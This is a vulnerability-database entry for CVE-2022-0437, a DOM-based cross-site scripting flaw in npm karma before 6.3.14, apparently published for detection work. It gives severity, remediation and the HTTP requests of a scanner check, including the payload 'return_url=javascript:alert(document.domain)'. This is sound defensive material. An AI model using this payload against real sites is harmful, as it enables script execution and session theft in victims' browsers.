🔙 목록으로 돌아가기

CVE-2022-0437: karma-runner DOM-based Cross-Site Scripting

Titlekarma-runner DOM-based Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.12079
CVE IDCVE-2022-0437
CWE IDCWE-79
Tags cve2022 cve oss huntr karma xss karma_project node.js passive vuln

🔍 Vulnerability Description

NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.

🌐 HTTP Request

GET /karma.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?return_url=javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0437.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0437.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A